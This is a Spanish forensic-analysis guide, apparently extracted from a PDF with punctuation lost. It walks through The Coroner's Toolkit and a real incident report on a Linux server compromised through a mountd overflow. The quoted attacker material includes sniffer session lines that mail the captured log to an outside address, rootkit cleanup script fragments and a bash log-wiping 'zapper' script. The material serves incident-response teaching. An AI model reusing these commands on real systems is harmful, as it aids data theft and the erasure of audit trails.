bull Suponiendo que siendo root arrancamos la aplicacioacuten grave-robber para que empiece a analizar el sistema de fiche-ros y procesos y guardar los datos de los inodes en el fichero dataactivalinkcombase y dataactivalinkcombaseS(binarios sUID) el estado del sistema en el directorio dataactivalinkcomcommand_out etc

bingrave-robber -m mnt

Grave-robber inicialmente realizaraacute un anaacutelisis de todas las carpetas que estaacuten en el $PATH y a continuacioacuten empezaraacutea analizar la particioacuten montada mnt El anaacutelisis suele tardar bastante tiempo seguacuten el tamantildeo de la particioacuten quequeremos analizar Aparte de los inodes se guarda el estado general del sistema es decir el output de las herramientasde monitorizacioacuten del sistema como ps top w etc

bull Una vez terminado el trabajo del grave-robber copiamos los ficheros passwd y group del sistema comprometidoal directorio tct-109 para que los tengamos a mano ya que en breve estaremos analizaacutendolos Para que se puedadistinguirlos luego renombramos estos ficheros passwdvictim o utilicemos el nombre del host comprometido

bull Ejecutamos luego la utilidad mactime especificando una fecha anterior del compromiso (consideremos que laactividad del intruso ha acabado hoy pero no vamos a especificar hora) Necesitaremos pasar los resultados deejecucioacuten de mactime a un fichero para que luego se pueda examinar su contenido con tranquilidad

28

binmactime -p passwdvictim -g groupvictim mnt 06012000 gt victimmactime

En la utilidad mactime hubo un bug en las versiones anteriores que haciacutea que la aplicacioacuten no funcione correctamente sise utilizaba la opcioacuten -p Entonces haciacuteamos un work around incorporando temporalmente el contenido del ficheroetcpasswd de la maacutequina viacutectima coincidir con eacutel de nuestro sistema En la versioacuten actual este bug estaacute solucionado

bull Hacemos una copia del fichero antes de empezar el anaacutelisis

cp victimmactime victimmactimeevidence

bull Entonces podemos empezar analizando el fichero victimmactimeevidence Usando el editor de texto favoritoempecemos a revisarlo y marcar la actividad sospechosa Sugiero que pongamos los tags [MARK] para que luegocon grep podamos localizar nuestros apuntes

Feb 13 2000 011050 50148 mca -rwxr-xr-x root root xdevFeb 13 2000 011052 564 mc -rw-r--r-- root root xetcprofileFeb 13 2000 011100 5 mac -rw-r--r-- root root xlibsp

18110 a -rw-r--r-- root root xlibtp[MARK]Feb 13 2000 011208 0 c -rw-r--r-- root root xdevttyag

25 c -rwxr-xr-x root root xdevttyfg23 c -rwxr-xr-x root root xdevttypg

373176 c -rws--x--x root root xlib8268 c -rwxr-xr-x root root xlibgo

20164 c -rwsr-xr-x root root xusrbinxcat183780 c -rwxr-xr-x root root xusrsbinfind

Feb 13 2000 013000 8268 a -rwxr-xr-x root root xlibgoFeb 14 2000 104203 1166856 a -rw-r--r-- root root xvarlogbootlog[MARK]Feb 14 2000 104535 18110 mc -rw-r--r-- root root xlibtpFeb 14 2000 105742 2998 mc -rw-r--r-- root root xetcinetdconf~Feb 14 2000 110147 168 a -rw-rw-r-- root root xrootsaves-1380-dragon~

Feb 14 2000 111838 160 mc -rw-r--r-- root root xetchostsallowoldFeb 14 2000 111855 347 mc -rw-r--r-- root root xetchostsdenyoldFeb 14 2000 111908 8 mc -rw-r--r-- root root xetchostsdenyFeb 14 2000 112253 168 mc -rw-rw-r-- root root xrootsaves-1380-dragon~

29

Feb 14 2000 113030 2998 a -rw-r--r-- root root xetcinetdconf~[MARK]Feb 14 2000 113125 20164 a -rwsr-xr-x root root xusrbinxcatFeb 14 2000 113410 868 mc -rwxr-xr-x root root xetcrcdrclocal

bull Despueacutes de repasar todo el listado de cambios histoacutericos puede que tengamos alguna pista para seguir o puedeque no En el peor de los casos debemos modificar la fecha especificada y cambiarla a la anterior del compromisointentaacutendolo de nuevo o mirar maacutes detenidamente Durante el examen del documento se prohibe distraerse ya quela concentracioacuten es muy importante en este momento

bull Otra opcioacuten es recuperar ficheros borrados con el la utilidad unrm y luego examinarlos con el programa stringsLas dos utilidades unrm y lazarus generan muchiacutesima informacioacuten y debemos tener bastante espacio libre enla particioacuten Podemos determinar la cantidad de espacio en disco duro que necesitamos calculando de formaaproximada a partir del informe de df

df mntFilesystem 1k-blocks Used Available Use Mounted ondevhdb2 3028881 1604551 1267697 56 mnt

En nuestro ejemplo df muestra que tenemos 1267697 bloques sin ocupar que significa que unrm puede llegar a generaraproximadamente 12 Gb de informacioacuten Encontremos una particioacuten libre y almacenemos alliacute el dump (Importanteen el ejemplo utilizo el punto de montura del sistema comprometido y no del sistema de anaacutelisis)

binunrm devhdb2 gt datavictimhda2unrm

bull Pero si disponemos de maacutes espacio (maacutes de 12Gb) y mucho maacutes tiempo para practicar con lazarus que procesaraacuteel espacio libre en el disco duro y intentaraacute recuperar ficheros por sus tipos lazarus genera una salida en formatoHTML que nos va a dar la oportunidad de verla a traveacutes del navegador

30

10 Ejemplo de Informe de Pruebas EncontradasAhora vamos a examinar un informe completo de actividad dellos intrusos en el sistema El informe fue obtenido trasanalizar los ficheros log de los sniffers intentos de acceso timestamps en el sistema de ficheros y el contenido de lasparticiones de varios sistemas involucrados en el incidente Es un informe real soacutelo que estaacute omitida la informacioacutenque identifica el sistema atacado

A continuacioacuten es un informe de anaacutelisis de la particioacuten root del sistema 2121022557 la informacioacuten aparece talcomo fue encontrada despueacutes de poner el disco off-line una vez descubierto el compromiso por sospecha de tenerejecutaacutendose un sniffer Una copia de sistema de ficheros estaacute disponible en formato targz en el cdrom ISO 9660CD-R

La maacutequina 2121022557 fue una de las 19 sospechosas de estar comprometida por el mismo grupo de intrusosalrededor de 10-09-2001 utilizando Linux mountd buffer overflow bug documentado en el CERT Advisory CA-9812httpwwwcertorgadvisoriesCA-9812mountdhtml

El disco duro fue analizado utilizando herramientas creadas por Dan Farmer y Wietse Venema llamadas CoronerrsquosToolkit (httpwwwfishcomsecurityforensicshtml) En el sistema de anaacutelisis el disco aparece como dispositivodevhdc La primera particioacuten devhdc1 fue montada en modo solo lectura bajo el punto de montura x Comoresultado de ello todas las rutas seraacuten precedidas por esa cadena La geometriacutea del disco duro es la siguiente

Disk devhdc 32 heads 63 sectors 825 cylindersUnits = cylinders of 2016 512 bytes

Device Boot Start End Blocks Id Systemdevhdc1 1 793 799312+ 83 Linuxdevhdc2 794 825 32256 82 Linux swap

Como la mayoriacutea de los accesos al servidor empezaron el diacutea 09 del Sep la fecha previa del anaacutelisis forense fue tomadacomo 28 Ago No se observan huellas obvias de modificacioacuteninstalacioacuten de ficheros que indica que el sistema fueaccedido entre Sep 01 y Sep 04 El diacutea Sep 04 ha sido modificado el demonio r de Berkeley (inrlogind)

Sep 04 01 234221 23421 m -rwxr-xr-x root root xusrsbininrlogind

El examen del contenido del fichero a traveacutes de la utilidad strings muestra que es un caballo de Troya que contienelos mismos strings que han sido encontrados en los ficheros del grupo XXXXXXX

31

rlogindahLlnXXXXXXXXCanrsquot get peer name of remote host mCanrsquot get peer name of remote hostsetsockopt (SO_KEEPALIVE) msetsockopt (IP_TOS) mhname = NULLrlogindc

Pasados ocho diacuteas se observa una modificacioacuten en el demonio y ejecucioacuten de chown

Sep 12 01 110410 23421 c -rwxr-xr-x root root xusrsbininrlogindSep 12 01 110411 8156 a -rwxr-xr-x root bin xbinchown

Pasada media hora el fichero fuente linsniffc se copia en un directorio oculto bajo etc El directorio se llamaetc (punto-punto-espacio-espacio-espacio lo que nosotros convertiremos en etc___ para ver maacutes claramenteel directorio en los listados El programa luego se compila Vemos que los ficheros de cabeceras que tienen que vercon las funciones de red han sido accedidos y el binario se mueve al usrsbintelnetd

Despueacutes de cuatro minutos se produce un acceso a traveacutes del protocolo FTP (observando el acceso al wuftpd y sufichero id de proceso)

Sep 12 01 113659 5127 mc -rw-r--r-- root root xetc___linsniffcSep 12 01 113708 4967 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxifh

3143 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_arph

3145 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_etherh

1910 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxiph

2234 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxrouteh

1381 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtcph

Sep 12 01 113710 2048 c drwxr-xr-x root bin xusrsbinSep 12 01 113714 2048 m drwxr-xr-x root bin xusrsbinSep 12 01 113715 8179 mc -rwxr-xr-x root root xusrsbintelnetdSep 12 01 113748 8179 a -rwxr-xr-x root root xusrsbintelnetdSep 12 01 114152 77476 a -rwxr-xr-x root bin xusrsbinwuftpd

32

Sep 12 01 114208 4096 mac -rw-r--r-- root root xvarpidftppids-remote

Esa actividad se confirma recuperando el fichero eliminado de log desde la particioacuten root

Sep 12 113305 2001 intelnetd[1290] connect from cromanionwashingtoneduSep 12 113316 2001 login 1 LOGIN FAILURE FROM cromanionwashingtonedu 502Sep 12 113321 2001 login 2 LOGIN FAILURES FROM cromanionwashingtonedu 502

Sep 12 113402 2001 su quaker on devttyp1Sep 12 114152 2001 wuftpd[1327] connect from lotherdalewashingtoneduSep 12 114157 2001 ftpd[1327] USER snoopSep 12 114159 2001 ftpd[1327] PASS passwordSep 12 114200 2001 ftpd[1327] SYSTSep 12 114201 2001 ftpd[1327] CWD tmpSep 12 114206 2001 ftpd[1327] TYPE ImageSep 12 114206 2001 ftpd[1327] PORTSep 12 114206 2001 ftpd[1327] STOR mountdSep 12 114208 2001 ftpd[1327] QUITSep 12 114208 2001 ftpd[1327] FTP session closedSep 12 120025 2001 intelnetd[1342] connect from cromanionwashingtoneduSep 12 120025 2001 telnetd[1342] ttloop peer died Try again

Desde lo que podemos observar se realiza una descarga de un exploit mountd mencionado anteriormente Tambieacutenpodemos conocer que el intruso tiene una cuenta en el sistema cromanionwashingtonedu [21512102] que normal-mente utiliza entre 143305 y 150025 EST

Los strings del fichero usrsbintelnetd muestran que es un sniffer El fichero log del sniffer es tcplog (pordefecto)

cant get SOCK_PACKET socketcant get flagscant set promiscuous mode----- [CAPLEN Exceeded]----- [Timed Out]----- [RST]----- [FIN]s =gt s [d]eth0tcplogcant open logExiting

33

El diacutea 13 de Sep otro programa que incorpora funciones de red se compila que hace uso de muchos maacutes recursosque el sniffer (ya que carga maacutes libreriacuteas) El hecho que el binario no aparece con fecha de modificacioacuten o cambiopuede indicar que el binario fue ejecutado y eliminado por el intruso (otros intrusos o el administrador) para ocultarsu presencia del equipo de administracioacuten del servidor

Sep 13 01 100146 55492 a -rwxr-xr-x root root xusrbingcc6211 a -rw-r--r-- root root xusrincludestdioh

92696 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cpp

1003 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270specs

Sep 13 01 100147 2767 a -rw-r--r-- root root xusrinclude_G_configh

1441 a -rw-r--r-- root root xusrincludeallocah2040 a -rw-r--r-- root root xusrincludeconfnameh

1267 a -rw-r--r-- root root xusrincludeerrnoh4186 a -rw-r--r-- root root xusrincludefeaturesh

4434 a -rw-r--r-- root root xusrincludegnutypesh

7917 a -rw-r--r-- root root xusrincludelibioh380 a -rw-r--r-- root root xusrincludeposix_opth

4419 a -rw-r--r-- root root xusrincludesignalh15134 a -rw-r--r-- root root xusrincludestdlibh

7537 a -rw-r--r-- root root xusrincludestringh3909 a -rw-r--r-- root root xusrincludesyscdefsh

4538 a -rw-r--r-- root root xusrincludesyssocketh

321 a -rw-r--r-- root root xusrincludesystypesh

25129 a -rw-r--r-- root root xusrincludeunistdh8841 a -r--r--r-- root root xusrlibgcc-libi486-linux270includestddefh

1029 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386typesh

6298 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxerrnoh

2065 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsignalh

34

2794 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsocketh

3846 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsockiosh

2621 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtypesh

Sep 13 01 100148 3668 a -rw-r--r-- root root xusrincludearpaineth

734 a -rw-r--r-- root root xusrincludebytesexh1555 a -rw-r--r-- root root xusrincludeendianh3248 a -rw-r--r-- root root xusrincludelimitsh6390 a -rw-r--r-- root root xusrincludenetdbh2663 a -rw-r--r-- root root xusrincludenetinetinh

3562 a -rw-r--r-- root root xusrincludepathsh2643 a -rw-r--r-- root root xusrincludeposix1_limh

2680 a -rw-r--r-- root root xusrincludeposix2_limh

3777 a -rw-r--r-- root root xusrincludesysbitypesh

709 a -rw-r--r-- root root xusrincludesysparamh

2315 a -rw-r--r-- root root xusrincludesystimeh

5273 a -rw-r--r-- root root xusrincludesyswaith

2852 a -rw-r--r-- root root xusrincludetimeh1156 a -rw-r--r-- root root xusrincludewaitflagsh

3724 a -rw-r--r-- root root xusrincludewaitstatush

1418196 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cc1

3049 a -rw-r--r-- root root xusrlibgcc-libi486-linux270includelimitsh

330 a -r--r--r-- root root xusrlibgcc-libi486-linux270includesyslimitsh

2101 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386byteorderh

266 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386paramh

3965 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxinh

720 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxlimitsh

35

78 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxparamh

1146 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtimeh

313 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxversionh

698 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxwaith

Sep 13 01 100157 117668 a -rwxr-xr-x root bin xusrbinasSep 13 01 100158 145695 a -rwxr-xr-x root bin xusrbinldSep 13 01 100159 1088 a -rw-r--r-- root root xusrlibcrt1o

1216 a -rw-r--r-- root root xusrlibcrtbegino1212 a -rw-r--r-- root root xusrlibcrtendo

624 a -rw-r--r-- root root xusrlibcrtio396 a -rw-r--r-- root root xusrlibcrtno

204146 a -rw-r--r-- root root xusrlibgcc-libi486-linux270libgcca

El diacutea 14 se ejecuta un cliente de ftp ncftp

Sep 14 01 004250 146881 a -rwxr-xr-x root bin xusrbinncftp

Los iacutendices de acceso del sistema cromanionwashingtonedu (aka cromanion) muestran un login al siste-ma quakerwashingtonedu (aka quaker) a las 1403 del horario EST o +0300 horas maacutes de PST) lo quedescribe las conexiones de las maacutequinas lotherdalewashingtonedu XXXXXXXXXXXXXwashingtonedu yXXXXXXXXXXXXwashingtonedu

XXX ftp XXXXXXXXXXXXXXX Sat Sep 14 0346 - 0408 (0021)XXX ftp XXXXXXXwashingt Sat Sep 14 0346 - 0346 (0000)XXX ftp XXXXXXXXXXXXXX Sat Sep 14 0338 - 0340 (0002)XXX ftp XXXXXXXXXXXXXwa Sat Sep 14 0337 - 0339 (0002)XXX ftp XXXXXXXXXXXXwas Sat Sep 14 0319 - 0320 (0000)

Hay solo una ocurrencia de utilizacioacuten del comando ncftp registrada por el sniffer el diacutea 14 del Sep (liacutenea 347 entcplog) Tambieacuten podemos encontrar huellas de otra conexioacuten del XXXXXXXXXXXX

XXXXXXXXXXXXXwashingtonedu =gt XXXXXXXwashingtonedu [23]rsquoW$ 3840038400vt100bdoor

passwordw

36

su r00tcd etvccd lscat etc tcplog | mail hackeraccounthotmailcomcat etc tcplog | mail hackeraccounthotmailcomncftp -u lscp tcplog 1lsncftp -y XXXXXX[A[D[D[D[D[D[D[D[Du

----- [Timed Out]

El log de la sesioacuten anterior muestra que el fichero log del sniffer ha sido enviado a una direccioacuten de correo electroacutenicoDespueacutes de cuatro horas alguien emite un comando whoami y luego antildeade y elimina algunos ficheros dentro deldirectorio oculto

Sep 14 01 040742 3797 a -rwxr-xr-x root bin xusrbinwhoamiSep 14 01 040818 1024 mc drwxr-xr-x root root xetc___

El diacutea 14 del Sep se ejecuta el binario inidentd Este servicio sirve para asociar el nombre de usuario con un intentode conexioacuten a un servicio remoto Esta aplicacioacuten se utiliza por algunas redes de IRC Puede significar que alguienrealizoacute una conexioacuten a un servidor IRC desde la maacutequina comprometida

Tambieacuten tuvieron lugar varias conexiones al servidor POP de correo inpop3d al servicio Berkeley r inrlogindy una conexioacuten al servicio NFS rpcmountd Una vez establecida la conexioacuten se ejecutoacute el comando id (este es unvestigio de un exloit ADM mountd buffer overrun)

El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd que suele ser UID=0 El intrusoaprovechando del shell crea un directorio vartmpXXXXX y instala varias puertas traseras utilidades para limpiarlos ficheros log y un sniffer Modificacioacuten de algunos ficheros log indican que a la hora de entrada se ejecutaron lasutilidades de eliminacioacuten de huellas (zapper) que restablecieron el tamantildeo del fichero log a 0 bytes

Sep 14 01 202514 13004 a -rwxr-xr-x root bin xusrsbininidentdSep 14 01 222452 15029 a -rwxr-xr-x root bin xusrsbininpop3dSep 15 01 022224 23421 a -rwxr-xr-x root root xusrsbininrlogindSep 15 01 022307 25217 a -rwxr-xr-- root bin xusrsbinrpcmountdSep 15 01 022308 7705 a -rwxr-xr-x root bin xusrbinidSepX 15 01 022422 28550 mac -rwxr-xr-x root root xvartmpXXXXXprogramsfix

37

13508 a -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

Sep 15 01 022423 13508 mc -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

1375 mac -rwxr-xr-x root root xvartmpXXXXXprogramsreadme

Sep 15 01 022439 26314 mc -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 mc -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022441 26314 a -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 a -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022443 1126 mc -rwxr-xr-x root root xvartmpXXXXXprogramsclean

XX mac -rwxr-xr-x root root xvartmpXXXXXprogramsimapdis

Sep 15 01 022459 4665 a -rwxr-xr-x root bin xusrbinbasenameSep 15 01 022503 0 mac -rw-r--r-- root root xvarlogcronSep 15 01 022504 0 ma crw-rw-rw- root root xdevttyp3Sep 15 01 022506 0 a -rw-r--r-- root root xvarlogdebugSep 15 01 022508 0 a -rw-r--r-- root root xvarloglastlogSep 15 01 022512 2699 a -rw-r--r-- root root xvarlogsyslogSep 15 01 022515 131968 a -rwxr-xr-x root bin xusrbingawk

5941 a -rwxr-xr-x root bin xusrbinwc0 a -rw-r--r-- root root xvarlogxferlog

1024 mc drwxr-xr-x root root xvartmpXXXXX1126 a -rwxr-xr-x root root xvartmpXXXXXprogramsclean

Sep 15 01 022554 2802 mc -rwxr-xr-x root root xetcrcdrcinet2Sep 15 01 022613 12288 mc -rw-rw-r-- root root xetcpsdevtabSep 15 XX 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPSSep 15 01 022837 0 a crw-rw-rw- root root xdevptyp2Sep 15 01 022838 0 mc crw-rw-rw- root root xdevptyp2

0 mac crw-rw-rw- root root xdevttyp2Sep 15 01 022958 0 mc -rw-r--r-- root root xvarloglastlogSep 15 01 023006 0 mc -rw-r--r-- root root xvarlogxferlogSep 15 01 023103 66973 a -rwxr-xr-x root bin xbintelnetSep 15 01 023501 1024 mc drwxr-xr-x root root xvarlog

0 mac -rw-r--r-- root root xvarlogsulogSep 15 01 023516 0 mc -rw-r--r-- root root xvarlogdebug

38

Sep 15 01 023551 0 ma crw-rw-rw- root root xdevptyp3Sep 15 01 023552 0 c crw-rw-rw- root root xdevptyp3

0 c crw-rw-rw- root root xdevttyp3Sep 15 01 032157 1649 m -rw-r--r-- root root xetcpasswdOLDSep 15 01 032224 7317 a -rwxr-xr-x root bin xbinkillallSep 15 01 032240 58605 a -rwxr-xr-x root bin xbinps

25 a -rw-r--r-- root root xdevXXXXXXXXPS

La siguiente actividad aparece en la liacutenea 471 en tcplog (el fichero log del sniffer entre 14 Sep 0346 de la liacutenea 348y 17 Sep 2013 desde la fecha de uacuteltima modificacioacuten del fichero)

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [143]

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXXlinux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXX-linux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootr00tlinux38400t----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [23]rsquoP$ 3840038400linuxXXXXX

XXX

39

r00tfingercd vartmpls -alrm -rf bashftp XXXXXXXXXXXXanonymousassget XXXXtgzquituittar zxvf XXXXtgzchmod +x INSTALLls -al

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt GGGGGGGXXXXXXXXXXXXX [23]rsquoP$ 3840038400linuxr00t

pico etcrcdircinetd2rpcmomomomountd[A11mountd[A2pmountd[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C [B[D[D[B[D[B[D ypico etcinetdconf[6~[6~killall -HUP inetdcat etcinetdconfps auxkill -9 cd devmkdir XXXXXXXXcd XXXXXXXXpico LSXXXXXXXXXXXXXypico PS3 bindshell3 linsnifferyps auxkill -9 2541f

40

----- [Timed Out]

Eso muestra que el intruso estaba editando el fichero de configuracioacuten del rootkit referente al modus operandi de lautilidad ls (llamado LS) para esconder ficherosdirectorios con cadenas XXXXXX yo JJJJJJJJ en sus nombresTambieacuten ha modificado el fichero de configuracioacuten del rootkit para la utilidad ps (llamado PS) para esconder procesosbindshell y linsniffer en sus nombres

La letra y que aparece en las cadenas XXXXXXy y linsniffery son huellas del usuario que nos informan que hasido utilizado el editor pico El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X Siel fichero ha sido modificado de alguna forma el siguiente texto aparece

Save modified buffer (ANSWERING No WILL DESTROY CHANGES)

El usuario entonces debe teclear la letra y para guardar el fichero y salir El sniffer no captura el mensaje delsistema pero siacute el y Las entradas log del sniffer aquiacute muestran que se creoacute el directorio XXXXXXXX doacutende fueroninsertados los ficheros de configuracioacuten del rootkit y editados en siguiente orden Podemos observarlo en el listado demactime posiblemente atando este evento al diacutea 15 del XXX a las 0226

Sep 15 01 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPS

El diacutea 16 del Sep alguien crea una copia de seguridad del log del sniffer (snifferlogsave) movieacutendolo al directoriovartmpXXXXprograms Este fichero muestra los intentos de entrada de otros intrusos que tambieacuten acceden alfichero tcplog

Sep 16 01 215534 36088 a -rwxr-xr-x root bin xbinnetstatSep 16 01 215827 1024 mc drwxrwxrwx root root xvartmpSep 16 01 215852 6 a -rw-r--r-- root root xroottemptxtSep 16 01 225033 1024 a drwxr-xr-x root root xvartmpXXXXXSep 16 01 225102 6644 a -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 16 01 225716 1024 a drwxr-xr-x root root xvartmpXXXXXprograms

Sep 16 01 233951 1024 mc drwxr-xr-x root root xvartmpXXXXXprograms

4992 mac -rw-r--r-- root root xvartmpXXXXXprogramssnifferlogsave

41

El fichero roottemptxt contiene la uacutenica palabra blah en la liacutenea y una liacutenea en blanco Actualmente no se conocepara que sirvioacute el fichero El diacutea 17 del XXX se modifica la contrasentildea de alguacuten usuario se crea un fichero de copiade seguridad

Sep 17 01 124450 153384 a -rws--x--x root bin xusrbinpasswdSep 17 01 124505 1649 mc -rw-r--r-- root root xetcpasswd

1649 c -rw-r--r-- root root xetcpasswdOLD

A continuacioacuten el diacutea 17 del Sep alguien accede al servidor a traveacutes de telnet Por lo visto se obtiene el UIDdel usuario lp Modificaciones en devconsole indican que ocurrioacute tambieacuten una entrada de usuario en la consolafiacutesica Fechas de modificacioacuten han sido cambiadas en la aplicacioacuten de los logs del sniffer etc__tcplog y tambieacutenvartmpXXXXXprogramssnifferlog que significa que las aplicaciones han sido desactivadas

Sep 17 01 201344 296 a -rw-r--r-- root root xetchostsdeny40907 a -rwxr-xr-x root bin xusrsbintcpd

Sep 17 01 201345 40685 a -rwxr-xr-x root bin xusrsbinintelnetd25 mc -rw-rw-r-- root root xvarspoollp1status

Sep 17 01 201346 0 m crw-rw-rw- root root xdevconsole0 a crw-rw-rw- root root xdevptyp00 m crw-rw-rw- root root xdevttyp0

18476 mc -rw-r--r-- root root xetc___tcplog6644 mc -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 17 01 201350 0 c crw-rw-rw- root root xdevconsole0 c crw-rw-rw- root root xdevptyp00 c crw-rw-rw- root root xdevttyp0

El diacutea 18 de Sep se ejecuta la aplicacioacuten sendmail Las huellas en el sistema de ficheros nos muestran queposiblemente se envioacute a una direccioacuten de correo electroacutenico el fichero log del sniffer tcplog

Sep 18 01 053026 164060 a -r-sr-Sr-x root bin xusrsbinsendmail

Aparte de analizar el sistema de ficheros con detenimiento se han recuperado todos los ficheros eliminados utilizandola utilidad unrm de TCT Una examen de los ficheros recuperados mostroacute eliminacioacuten de algunos ficheros log yscripts El siguiente es una parte del script de instalacioacutenlimpieza que estaacute incluido con el rootkit

cp vartmpimap-d vartmpXXXXXprogramsimapdisrm -rf vartmpimap-decho 6 cleaning logs

42

cd vartmpXXXXXcp vartmpclean vartmpXXXXXprogramscleanrm -rf vartmpcleanvartmpXXXXXprogramsclean XXXXXXX 1gtdevnull 2gtdevnullvartmpXXXXXprogramsclean XXXXXX 1gtdevnull 2devnullvartmpXXXXXprogramsclean XXXX 1gtdevnull 2gtdevnullecho rootkit completeecho rember to disable imapdecho EOF

El siguiente es una parte del fichero log que muestra intentos de conexioacuten de intrusos

Sep 11 152611 XXXX infingerd[864] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX intelnetd[865] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX telnetd[865] ttloop peer died Try againSep 11 152612 XXXX inpop3d[866] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152613 XXXX intelnetd[867] connect from XXX-XXX-14XXXXXXXXXXXX

Sep 12 053620 XXXX intelnetd[1126] connect from DDDDDDXXXXXXXXX

Sep 12 110152 XXXX intelnetd[1213] connect from EEEEEEEXXXXXXSep 12 110221 XXXX su XXXXX on devttyp1

Sep 12 110428 XXXX inrlogind[1229] connect from CCCCCCCCXXXXXXXXXXXSep 12 110444 XXXX inrlogind[1230] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 110857 XXXX su XXXXX on devttyp1Sep 12 111119 XXXX su XXXXX on devttyp1

Sep 12 113305 XXXX intelnetd[1290] connect from AAAAAAXXXXXXXXXSep 12 113316 XXXX login 1 LOGIN FAILURE FROM AAAAAAXXXXXXXXX XXXSep 12 113321 XXXX login 2 LOGIN FAILURES FROM AAAAAAXXXXXXXXX XXX

Sep 12 113402 XXXX su XXXXX on devttyp1Sep 12 114152 XXXX wuftpd[1327] connect from BBBBBBBXXXXXXXXXSep 12 114157 XXXX ftpd[1327] USER XXXXXSep 12 114159 XXXX ftpd[1327] PASS passwordSep 12 114200 XXXX ftpd[1327] SYSTSep 12 114201 XXXX ftpd[1327] CWD tmpSep 12 114206 XXXX ftpd[1327] TYPE ImageSep 12 114206 XXXX ftpd[1327] PORTSep 12 114206 XXXX ftpd[1327] STOR mountdSep 12 114208 XXXX ftpd[1327] QUITSep 12 114208 XXXX ftpd[1327] FTP session closedSep 12 120025 XXXX intelnetd[1342] connect from AAAAAAXXXXXXXXX

43

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

